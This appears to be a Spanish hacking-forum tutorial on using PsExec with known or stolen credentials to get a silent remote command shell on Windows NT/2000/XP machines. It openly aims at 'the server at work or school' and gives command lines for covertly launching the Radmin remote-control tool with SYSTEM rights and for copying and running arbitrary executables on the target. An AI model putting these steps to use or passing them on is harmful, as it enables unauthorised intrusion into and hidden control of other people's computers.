

Práctica 40. Shell remota con psexec.exe (Por HxC Mods-Adm)

Pues eso, lo que dice el título.... para responder preguntas como:

Son muchas las preguntas que he visto en otros Hilos acerca de

"Cuando entro por netbios..... Cómo puedo ejecutar algo?"

R: *"Para ejecutar algo necesitas control remoto o una Shell"*

Condiciones

1º) Sólo funciona si el equipo remoto es NT/w2K/XP (nada de w9x, ME, ni XP HOME)

2º) Se necesita conocer el login y contraseña de al menos un usuario válido

Como siempre el mayor problema es el punto 2º), pero ... eso ya sabemos cómo hacerlo, no?

¿Qué os parecería poder ejecutar LO QUE SEA en el servidor del curro o del cole?

R: Pues para eso es.

La utilidad en cuestión se llama PsExec, os cuento a través de ejemplos:

El servidor remoto (del ejemplo) será 192.168.1.1

El usuario será: administrador

el password: kaka

Sintaxis

psexec -u administrador -p kaka \\192.168.1.1 cmd.exe

Obtenemos una shell del remoto, silenciosa y sin necesidad de nada más.

psexec -u administrador -p kaka -i \\192.168.1.1 cmd.exe

Lo mismo que antes, pero en el remoto se "le abre" también la shell, es decir como si "alguien" la hubiese abierto mediante inicio-ejecutar-Cmd.exe

psexec -u administrador -p kaka -d \\192.168.1.1 cmd.exe

Lo mismo que antes, pero ni el remoto ni nosotros obtenemos nada. claro con cmd.exe no interesa, pero ¿Y si ponemos esto?

psexec -u administrador -p kaka -d \\192.168.1.1 radmin.exe,

pues le acabamos de ejecutar el radmin

Siempre y cuando el archivo radmin.exe esté en el path de windows, si por ejemplo está en el directorio c:\winnt\inf\radmin.exe, pues habría que indicar la ruta,

```
psexec -u administrador -p kaka -d ||192.168.1.1 c:\winnt\inf\radmin.exe,
```

Ah! que resulta que radmin se debe ejecutar como system..., pues nada

```
psexec -u administrador -p kaka -d -s ||192.168.1.1 radmin.exe
```

y se ejecuta con la todo poderosa cuenta de Sistema.

A lo mejor lo que queréis es que se copie y ejecute algo...

```
psexec -u administrador -p kaka -c ||192.168.1.1 "c:\winnt\system32\algo.exe"
```

Jeje, ya sabéis en lugar de algo.exe poned lo que tenga que copiarse y ejecutarse....

Ventajas de todo ésto

Pues que a diferencia de netcat, telnet o de cualquier programa de control remoto, no se necesita NINGÚN CLIENTE, basta con saber el nombre y/o contraseña, es más:

Si queréis evitar la "pesadad" de estar poniendo el -u.... y -p... pues os creáis un usuario en vuestro equipo con ese nombre y esa contraseña y así no hay que ponerla, yo lo hago así, es que, aunque no lo parezca, soy muy vago.

Cielos!! que olvido el link del programa:

<http://www.sysinternals.com/files/psexec.zip> y es que sólo son 36 KB